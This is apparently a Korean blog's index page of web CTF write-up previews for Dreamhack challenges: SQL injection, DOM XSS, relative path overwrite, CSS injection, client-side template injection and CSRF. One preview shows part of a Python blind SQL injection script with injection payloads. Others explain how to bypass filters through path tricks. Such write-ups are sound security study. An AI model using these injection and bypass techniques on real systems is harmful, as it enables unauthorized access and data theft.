분류 전체보기 80

level 1 error based sql injection

문제 분석문제 링크를 통해 접속해보면 위와 같이 uid에 파라미터로 test를 입력하면 화면에 test가 뜨는 것을 확인할 수 있다. DB 분석CREATE DATABASE IF NOT EXISTS `users`;GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';USE `users`;CREATE TABLE user( idx int auto_increment primary key, uid varchar(128) not null, upw varchar(128) not null);INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');INSERT INTO user(u..

CTF & Wargame(WEB) 2025.04.22

level 2 blind sql injection advanced

익스플로잇 코드# admin 비밀번호의 길이를 알아내야 함# 비밀번호에는 한글과 아스키코드가 섞여있음# --> 그냥 length 함수 쓰면 오류가 날 수 있기 때문에 char_length 함수 사용해야함import requestshost = "http://host3.dreamhack.games:8475/"pw_len = 0def password_length(): global pw_len while True: pw_len += 1 query = f"admin' and char_length(upw) = {pw_len}-- -" r = requests.get(f"{host}?uid={query}") if "exists" in r.text: ..

CTF & Wargame(WEB) 2025.04.22

level 2 DOM XSS

엔드 포인트 분석/vuln@app.route("/vuln")def vuln(): param = request.args.get("param", "") return render_template("vuln.html", nonce=nonce, param=param)해당 함수에서는 파라미터를 사용자에게 받고 받은 값을 param에 넘겨준다. 그리고 vuln.html을 반환한다. 여기서 vuln.html을 반환할때 render_template함수를 사용하고 있기 때문에 XSS는 어려울것으로 예상된다. vuln.html{% extends "base.html" %}{% block title %}Index{% endblock %}{% block head %} {{ super() }} {% endblock ..

CTF & Wargame(WEB) 2025.04.22

level 2 Relative Path Overwrite Advanced

index.php, vuln.php, main.php, report.php 등 거의 모든 코드들이 이전 문제와 유사하다.하지만 이 문제의 차이점은 404.php 파일과 filter.js가 static 폴더에 저장된다는 점이다. 이렇게 vuln 페이지에 접속하면 404.php에 의해 /filter.js not found라는 문구가 출력되는 것을 볼 수 있다. 따라서 현재 vuln 페이지에서 filter.js의 경로를 /filter.js로 지정하고 있기 때문에 filter.js가 vuln페이지에서 불러와지지 않는 것이다. 이에 따라 404.php가 로드되어 filter.js가 덮어씌워졌다. 따라서 우리는 404.php를 이용해 filter.js를 덮어쓸 것이다.url에 /를 하나만 더 추가해주면 filter..

CTF & Wargame(WEB) 2025.04.21

RPO(Relative Path Overwrite) 이해하기

level 2 Relative Path Overwrite 문제에서 http://host/?page=vuln&param=on이라고 입력했을 때는 filter.js가 정상적으로 로드되어 필터링이 되고 http://host/index.php/?page=vuln&param=on이라고 입력했을 때는 filter.js가 정상적으로 로드되지 않아 필터링도 적용되지 않는 이유는이 코드에서 filter.js를 상대 경로인 /filter.js 로 로드하고 있기 때문이다. 위에서 말한 내용을 이를 기반으로 다시 설명하면http://host/?page=vuln&param=on은 현재 문서가 /(루트)라고 보고 filter.js를 요청하기 때문에 정상적으로 로드가 된다.하지만http://host/index.php/?page=..

CTF & Wargame(WEB) 2025.04.21

level 2 Relative Path Overwrite

엔드포인트 분석index.php사용자에게 page라는 파라미터를 입력 받고, page 파라미터가 존재하면 page.php 반환하고 아니라면 main.php 반환함. 그리고 .., : /를 필터링한다. /vuln.phpfilter.js라는 값을 상대경로로 받아온다. 그리고 사용자가 param에 입려한 값을 추출하여 화면에 표시한다. 하지만 만약 filter.js에 저장되어 있는 키워드를 입력한다면 필터링함. 익스플로잇기존 urlhttp://host3.dreamhack.games:13981/?page=vuln&param=script 위와 같이 vuln에서 param을 입력 받으면 키워드들을 필터링한다. 하지만 우리는 필터링을 우회하여 flag를 획득해야한다.그러기 위해선 Url을http://host3.dr..

CTF & Wargame(WEB) 2025.04.18

level 3 CSS Injection

코드 분석token_generate() 함수def token_generate(): while True: token = "".join(random.choice(string.ascii_lowercase) for _ in range(8)) token_exists = execute( "SELECT * FROM users WHERE token = :token;", {"token": token} ) if not token_exists: return token랜덤으로 소문자 아스키값을 8개 생성하고 token 변수에 저장users 테이블에 해당 토큰이 이미 존재하는지 확인한다. 만약 해당 토큰이 존재하지 않으면 해당 토큰을..

CTF & Wargame(WEB) 2025.04.18

level 2 Client Side Template Injection

문제를 살펴보면 이전의 문제들과 마찬가지로 /vuln, /memo, /flag 페이지가 존재한다. 엔드포인트 분석add_header() 함수@app.after_requestdef add_header(response): global nonce response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'nonce-{nonce}' 'unsafe-eval' https://ajax.googleapis.com; object-src 'none'" nonce = os.urandom(16).hex() r..

CTF & Wargame(WEB) 2025.04.18

level 1 CSRF Advanced

웹 서비스 분석/login : 특정 계정으로 로그인을 할 수 있는 페이지/change_password : 현재 로그인 되어 있는 계정의 비밀번호를 바꿀수 있는 페이지/vuln : 사용자가 입력한 값을 그대로 출력해주는 페이지/flag : param에 입력한 url로 사용자가 이동 엔드 포인트 분석/loginusers = { 'guest': 'guest', 'admin': FLAG}session_storage = {}token_storage = {}@app.route('/login', methods=['GET', 'POST'])def login(): if request.method == 'GET': return render_template('login.html') elif..

CTF & Wargame(WEB) 2025.04.18